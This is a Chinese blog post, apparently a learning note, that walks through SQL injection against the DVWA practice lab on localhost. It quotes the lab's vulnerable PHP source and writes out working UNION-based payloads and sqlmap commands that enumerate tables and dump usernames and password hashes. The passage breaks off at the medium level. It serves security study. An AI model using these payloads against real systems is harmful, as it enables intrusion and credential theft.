-
Notifications
You must be signed in to change notification settings - Fork 1
/
DVWA-SQL-Injection.html
855 lines (667 loc) · 62.8 KB
/
DVWA-SQL-Injection.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 5.4.2">
<link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
<link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
<link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
<link rel="mask-icon" href="/images/logo.svg" color="#222">
<link rel="stylesheet" href="/css/main.css">
<link rel="stylesheet" href="/lib/font-awesome/css/all.min.css">
<link rel="stylesheet" href="//cdn.jsdelivr.net/gh/fancyapps/fancybox@3/dist/jquery.fancybox.min.css">
<script id="hexo-configurations">
var NexT = window.NexT || {};
var CONFIG = {"hostname":"leeyuxun.github.io","root":"/","scheme":"Gemini","version":"7.8.0","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":true,"show_result":true,"style":"mac"},"back2top":{"enable":true,"sidebar":true,"scrollpercent":true},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":true,"mediumzoom":false,"lazyload":false,"pangu":true,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":true,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},"path":"./public/search.xml"};
</script>
<meta name="description" content="前言记录学习DVWA中的SQL注入过程,包括手工注入、SQLmap注入两部分。">
<meta property="og:type" content="article">
<meta property="og:title" content="DVWA SQL Injection">
<meta property="og:url" content="https://leeyuxun.github.io/DVWA-SQL-Injection.html">
<meta property="og:site_name" content="Leeyuxun の note">
<meta property="og:description" content="前言记录学习DVWA中的SQL注入过程,包括手工注入、SQLmap注入两部分。">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115171123.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115171335.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115171423.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115172008.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115172046.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115172123.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115172625.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115172816.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115174208.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115202820.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115203412.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115204341.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115204558.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115204755.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115204946.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115205247.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115211926.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115212532.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115212630.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115212909.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115213015.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115213055.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115213329.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115213543.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115214838.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115215648.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115215916.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115223436.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115223610.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115223751.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115223931.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115224153.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201116113840.png">
<meta property="article:published_time" content="2019-11-15T08:30:19.000Z">
<meta property="article:modified_time" content="2023-05-07T07:37:53.518Z">
<meta property="article:author" content="李钰璕">
<meta property="article:tag" content="SQL Injection">
<meta property="article:tag" content="SQLmap">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115171123.png">
<link rel="canonical" href="https://leeyuxun.github.io/DVWA-SQL-Injection.html">
<script id="page-configurations">
// https://hexo.io/docs/variables.html
CONFIG.page = {
sidebar: "",
isHome : false,
isPost : true,
lang : 'zh-CN'
};
</script>
<title>DVWA SQL Injection | Leeyuxun の note</title>
<script async src="https://www.googletagmanager.com/gtag/js?id=G-V3499K2XZY"></script>
<script>
if (CONFIG.hostname === location.hostname) {
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-V3499K2XZY');
}
</script>
<script>
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "https://hm.baidu.com/hm.js?4d72a66931dff6410b32974da2e3df61";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
</script>
<noscript>
<style>
.use-motion .brand,
.use-motion .menu-item,
.sidebar-inner,
.use-motion .post-block,
.use-motion .pagination,
.use-motion .comments,
.use-motion .post-header,
.use-motion .post-body,
.use-motion .collection-header { opacity: initial; }
.use-motion .site-title,
.use-motion .site-subtitle {
opacity: initial;
top: initial;
}
.use-motion .logo-line-before i { left: initial; }
.use-motion .logo-line-after i { right: initial; }
</style>
</noscript>
<style>mjx-container[jax="SVG"] {
direction: ltr;
}
mjx-container[jax="SVG"] > svg {
overflow: visible;
}
mjx-container[jax="SVG"][display="true"] {
display: block;
text-align: center;
margin: 1em 0;
}
mjx-container[jax="SVG"][justify="left"] {
text-align: left;
}
mjx-container[jax="SVG"][justify="right"] {
text-align: right;
}
g[data-mml-node="merror"] > g {
fill: red;
stroke: red;
}
g[data-mml-node="merror"] > rect[data-background] {
fill: yellow;
stroke: none;
}
g[data-mml-node="mtable"] > line[data-line] {
stroke-width: 70px;
fill: none;
}
g[data-mml-node="mtable"] > rect[data-frame] {
stroke-width: 70px;
fill: none;
}
g[data-mml-node="mtable"] > .mjx-dashed {
stroke-dasharray: 140;
}
g[data-mml-node="mtable"] > .mjx-dotted {
stroke-linecap: round;
stroke-dasharray: 0,140;
}
g[data-mml-node="mtable"] > svg {
overflow: visible;
}
[jax="SVG"] mjx-tool {
display: inline-block;
position: relative;
width: 0;
height: 0;
}
[jax="SVG"] mjx-tool > mjx-tip {
position: absolute;
top: 0;
left: 0;
}
mjx-tool > mjx-tip {
display: inline-block;
padding: .2em;
border: 1px solid #888;
font-size: 70%;
background-color: #F8F8F8;
color: black;
box-shadow: 2px 2px 5px #AAAAAA;
}
g[data-mml-node="maction"][data-toggle] {
cursor: pointer;
}
mjx-status {
display: block;
position: fixed;
left: 1em;
bottom: 1em;
min-width: 25%;
padding: .2em .4em;
border: 1px solid #888;
font-size: 90%;
background-color: #F8F8F8;
color: black;
}
foreignObject[data-mjx-xml] {
font-family: initial;
line-height: normal;
overflow: visible;
}
.MathJax path {
stroke-width: 3;
}
mjx-container[display="true"] {
overflow: auto hidden;
}
mjx-container[display="true"] + br {
display: none;
}
</style></head>
<body itemscope itemtype="http://schema.org/WebPage">
<div class="container use-motion">
<div class="headband"></div>
<header class="header" itemscope itemtype="http://schema.org/WPHeader">
<div class="header-inner"><div class="site-brand-container">
<div class="site-nav-toggle">
<div class="toggle" aria-label="切换导航栏">
<span class="toggle-line toggle-line-first"></span>
<span class="toggle-line toggle-line-middle"></span>
<span class="toggle-line toggle-line-last"></span>
</div>
</div>
<div class="site-meta">
<a href="/" class="brand" rel="start">
<span class="logo-line-before"><i></i></span>
<h1 class="site-title">Leeyuxun の note</h1>
<span class="logo-line-after"><i></i></span>
</a>
<p class="site-subtitle" itemprop="description">BUPT | SCSS</p>
</div>
<div class="site-nav-right">
<div class="toggle popup-trigger">
<i class="fa fa-search fa-fw fa-lg"></i>
</div>
</div>
</div>
<nav class="site-nav">
<ul id="menu" class="main-menu menu">
<li class="menu-item menu-item-home">
<a href="/" rel="section"><i class="fa fa-home fa-fw"></i>首页</a>
</li>
<li class="menu-item menu-item-tags">
<a href="/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>标签</a>
</li>
<li class="menu-item menu-item-categories">
<a href="/categories/" rel="section"><i class="fa fa-th fa-fw"></i>分类</a>
</li>
<li class="menu-item menu-item-archives">
<a href="/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>归档</a>
</li>
<li class="menu-item menu-item-links">
<a href="/links/" rel="section"><i class="fa fa-link fa-fw"></i>友链</a>
</li>
<li class="menu-item menu-item-search">
<a role="button" class="popup-trigger"><i class="fa fa-search fa-fw"></i>搜索
</a>
</li>
</ul>
</nav>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-icon">
<i class="fa fa-search"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocapitalize="off"
placeholder="搜索..." spellcheck="false"
type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa fa-times-circle"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</div>
</header>
<main class="main">
<div class="main-inner">
<div class="content-wrap">
<div class="content post posts-expand">
<article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
<link itemprop="mainEntityOfPage" href="https://leeyuxun.github.io/DVWA-SQL-Injection.html">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.png">
<meta itemprop="name" content="李钰璕">
<meta itemprop="description" content="安全学习笔记">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="Leeyuxun の note">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">
DVWA SQL Injection
</h1>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2019-11-15 16:30:19" itemprop="dateCreated datePublished" datetime="2019-11-15T16:30:19+08:00">2019-11-15</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">更新于</span>
<time title="修改时间:2023-05-07 15:37:53" itemprop="dateModified" datetime="2023-05-07T15:37:53+08:00">2023-05-07</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/DVWA/" itemprop="url" rel="index"><span itemprop="name">DVWA</span></a>
</span>
</span>
<span class="post-meta-item" title="阅读次数" id="busuanzi_container_page_pv" style="display: none;">
<span class="post-meta-item-icon">
<i class="fa fa-eye"></i>
</span>
<span class="post-meta-item-text">阅读次数:</span>
<span id="busuanzi_value_page_pv"></span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>记录学习DVWA中的SQL注入过程,包括手工注入、SQLmap注入两部分。<span id="more"></span></p>
<p>目的:爆破数据库,通过SQL注入,找到dvwa网站所有的用户名及密码。</p>
<h1 id="LOW"><a href="#LOW" class="headerlink" title="LOW"></a>LOW</h1><h2 id="源代码"><a href="#源代码" class="headerlink" title="源代码"></a>源代码</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># low.php</span></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_REQUEST</span>[<span class="string">'Submit'</span>])){</span><br><span class="line"> <span class="comment">// Get input</span></span><br><span class="line"> <span class="variable">$id</span> = <span class="variable">$_REQUEST</span>[<span class="string">'id'</span>];</span><br><span class="line"> <span class="comment">// Check database</span></span><br><span class="line"> <span class="variable">$query</span> = <span class="string">"SELECT first_name, last_name FROM users WHERE user_id = '<span class="subst">$id</span>';"</span>;</span><br><span class="line"> <span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">"___mysqli_ston"</span>],<span class="variable">$query</span> ) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">'<pre>'</span>.((<span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">"___mysqli_ston"</span>]))? <span class="title function_ invoke__">mysqli_error</span>(<span class="variable">$GLOBALS</span>[<span class="string">"___mysqli_ston"</span>]):((<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_connect_error</span>())? <span class="variable">$___mysqli_res</span> : <span class="literal">false</span>)).<span class="string">'</pre>'</span>);</span><br><span class="line"> <span class="comment">// Get results</span></span><br><span class="line"> <span class="keyword">while</span>(<span class="variable">$row</span> = <span class="title function_ invoke__">mysqli_fetch_assoc</span>(<span class="variable">$result</span>)){</span><br><span class="line"> <span class="comment">// Get values</span></span><br><span class="line"> <span class="variable">$first</span> = <span class="variable">$row</span>[<span class="string">"first_name"</span>];</span><br><span class="line"> <span class="variable">$last</span> = <span class="variable">$row</span>[<span class="string">"last_name"</span>];</span><br><span class="line"> <span class="comment">// Feedback for end user</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<pre>ID: <span class="subst">{$id}</span><br />First name: <span class="subst">{$first}</span><br />Surname: <span class="subst">{$last}</span></pre>"</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="title function_ invoke__">mysqli_close</span>(<span class="variable">$GLOBALS</span>[<span class="string">"___mysqli_ston"</span>]);</span><br><span class="line"> }</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure>
<p>分析:服务器端的low.php并没有对客户输入的id进行任何检查与过滤,直接将SQL语句的执行结果显示给客户端。</p>
<h2 id="手动注入"><a href="#手动注入" class="headerlink" title="手动注入"></a>手动注入</h2><h3 id="注入判断"><a href="#注入判断" class="headerlink" title="注入判断"></a>注入判断</h3><p>判断是否存在注入以及注入类型——字符型/数字型</p>
<ol>
<li><p>输入<code>1</code>,查询成功;</p>
<p> <img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115171123.png"></p>
</li>
<li><p> 输入<code>1' and '1'='2</code>查询失败,无回显;</p>
</li>
<li><p>输入<code>1' and '1'='1</code>查询成功;</p>
<p> <img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115171335.png"></p>
</li>
<li><p>输入<code>1'</code>报错;</p>
<p> <img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115171423.png"></p>
</li>
</ol>
<p>根据上述发现猜测存在<strong>字符型注入</strong>。</p>
<h3 id="猜解SQL查询语句中的字段数"><a href="#猜解SQL查询语句中的字段数" class="headerlink" title="猜解SQL查询语句中的字段数"></a>猜解SQL查询语句中的字段数</h3><p>使用<code>order by</code>猜测SQL查询语句中的字段数,为union查询做准备</p>
<ol>
<li><p>输入<code>1' or 1=1 order by 1 #</code>,查询成功;</p>
<p> <img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115172008.png"></p>
</li>
<li><p>输入<code>1' or 1=1 order by 2 #</code>,查询成功;</p>
<p> <img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115172046.png"></p>
</li>
<li><p>输入<code>1' or 1=1 order by 3 #</code>,查询失败;</p>
<p> <img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115172123.png"></p>
</li>
</ol>
<p>说明查询语句中存在2个字段,即First name和Surname;</p>
<h3 id="确定显示字段顺序"><a href="#确定显示字段顺序" class="headerlink" title="确定显示字段顺序"></a>确定显示字段顺序</h3><p>输入<code>1' union select 1,2 #</code>,查询成功,两个字段显示如下;</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115172625.png"></p>
<h3 id="获取当前数据库和用户名"><a href="#获取当前数据库和用户名" class="headerlink" title="获取当前数据库和用户名"></a>获取当前数据库和用户名</h3><p>输入<code>1' union select database(),user() #</code>,查看数据库为dvwa,用户为dvwa;</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115172816.png"></p>
<h3 id="获取数据库中的表"><a href="#获取数据库中的表" class="headerlink" title="获取数据库中的表"></a>获取数据库中的表</h3><p>输入<code>1' union select TABLE_NAME,2 from information_schema.TABLES where TABLE_SCHEMA='dvwa' #</code>,获取表名为guestbook和users</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115174208.png"></p>
<h3 id="获取表中的字段名"><a href="#获取表中的字段名" class="headerlink" title="获取表中的字段名"></a>获取表中的字段名</h3><p>输入<code>1' union select COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME='users' #</code>,获取字段如下user_id、first_name、last_name、user、password、avatar、last_login、failed_login、USER、CURRENT_CONNECTIONS、TOTAL_CONNECTIONS、id、username;</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115202820.png"></p>
<h3 id="下载数据"><a href="#下载数据" class="headerlink" title="下载数据"></a>下载数据</h3><p>输入<code>1' union select user,password from users #</code>,获取users表中的所有用户和密码;</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115203412.png"></p>
<p>查看表guestbook同理。</p>
<h2 id="SQLmap注入"><a href="#SQLmap注入" class="headerlink" title="SQLmap注入"></a>SQLmap注入</h2><h3 id="注入判断-1"><a href="#注入判断-1" class="headerlink" title="注入判断"></a>注入判断</h3><p>注意:dvwa需要登录才能访问漏洞测试页面,所以使用sqlmap时需要提交登录后的cookie,cookie中有关于dvwa的security level设置属性;</p>
<p>输入<code>sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=qifnr3h532238h8989qf2vlcg5"</code>,发现存在SQL注入点id(GET),数据库类型为mysql;</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115204341.png"></p>
<h3 id="爆破数据库"><a href="#爆破数据库" class="headerlink" title="爆破数据库"></a>爆破数据库</h3><p>输入 <code>sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=qifnr3h532238h8989qf2vlcg5" --dbs</code>,爆破数据库如下;</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115204558.png"></p>
<h3 id="爆破数据表"><a href="#爆破数据表" class="headerlink" title="爆破数据表"></a>爆破数据表</h3><p>选择dvwa数据库,输入<code>sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=qifnr3h532238h8989qf2vlcg5" -D dvwa --tables</code>,爆破数据表如下;</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115204755.png"></p>
<h3 id="爆破字段"><a href="#爆破字段" class="headerlink" title="爆破字段"></a>爆破字段</h3><p>选择users表,输入<code>sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=qifnr3h532238h8989qf2vlcg5" -D dvwa -T users --columns</code>,爆破字段如下;</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115204946.png"></p>
<h3 id="爆破字段内容"><a href="#爆破字段内容" class="headerlink" title="爆破字段内容"></a>爆破字段内容</h3><p>输入<code>sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=qifnr3h532238h8989qf2vlcg5" -D dvwa -T users -C user,password --dump</code>,爆破user、password字段内容如下;</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115205247.png"></p>
<h1 id="MEDIUM"><a href="#MEDIUM" class="headerlink" title="MEDIUM"></a>MEDIUM</h1><h2 id="源代码-1"><a href="#源代码-1" class="headerlink" title="源代码"></a>源代码</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># medium.php</span></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">'Submit'</span>])){</span><br><span class="line"> <span class="comment">// Get input</span></span><br><span class="line"> <span class="variable">$id</span> = <span class="variable">$_POST</span>[<span class="string">'id'</span>];</span><br><span class="line"> <span class="variable">$id</span> = <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">"___mysqli_ston"</span>],<span class="variable">$id</span>);</span><br><span class="line"> <span class="variable">$query</span> = <span class="string">"SELECT first_name, last_name FROM users WHERE user_id = <span class="subst">$id</span>;"</span>;</span><br><span class="line"> <span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">"___mysqli_ston"</span>],<span class="variable">$query</span>) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">'<pre>'</span>.<span class="title function_ invoke__">mysqli_error</span>(<span class="variable">$GLOBALS</span>[<span class="string">"___mysqli_ston"</span>]).<span class="string">'</pre>'</span>);</span><br><span class="line"> <span class="comment">// Get results</span></span><br><span class="line"> <span class="keyword">while</span>( <span class="variable">$row</span> = <span class="title function_ invoke__">mysqli_fetch_assoc</span>(<span class="variable">$result</span>)){</span><br><span class="line"> <span class="comment">// Display values</span></span><br><span class="line"> <span class="variable">$first</span> = <span class="variable">$row</span>[<span class="string">"first_name"</span>];</span><br><span class="line"> <span class="variable">$last</span> = <span class="variable">$row</span>[<span class="string">"last_name"</span>];</span><br><span class="line"> <span class="comment">// Feedback for end user</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<pre>ID:<span class="subst">{$id}</span><br/>First name:<span class="subst">{$first}</span><br/>Surname: <span class="subst">{$last}</span></pre>"</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// This is used later on in the index.php page</span></span><br><span class="line"> <span class="comment">// Setting it here so we can close the database connection in here like in the rest of the source scripts</span></span><br><span class="line"> <span class="variable">$query</span> = <span class="string">"SELECT COUNT(*) FROM users;"</span>;</span><br><span class="line"> <span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">"___mysqli_ston"</span>],<span class="variable">$query</span>) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">'<pre>'</span>.((<span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">"___mysqli_ston"</span>]))?<span class="title function_ invoke__">mysqli_error</span>(<span class="variable">$GLOBALS</span>[<span class="string">"___mysqli_ston"</span>]):((<span class="variable">$___mysqli_res</span>=<span class="title function_ invoke__">mysqli_connect_error</span>())?<span class="variable">$___mysqli_res</span>:<span class="literal">false</span>)).<span class="string">'</pre>'</span>);</span><br><span class="line"> <span class="variable">$number_of_rows</span> = <span class="title function_ invoke__">mysqli_fetch_row</span>(<span class="variable">$result</span>)[<span class="number">0</span>];</span><br><span class="line"> <span class="title function_ invoke__">mysqli_close</span>(<span class="variable">$GLOBALS</span>[<span class="string">"___mysqli_ston"</span>]);</span><br><span class="line"><span class="meta">?></span> </span><br></pre></td></tr></table></figure>
<p>分析:改用POST方式提交,对id进行了mysqli_real_escape_string()函数过滤,但SQL语句存在数字型注入;</p>
<p>mysqli_real_escape_string()函数语法:</p>
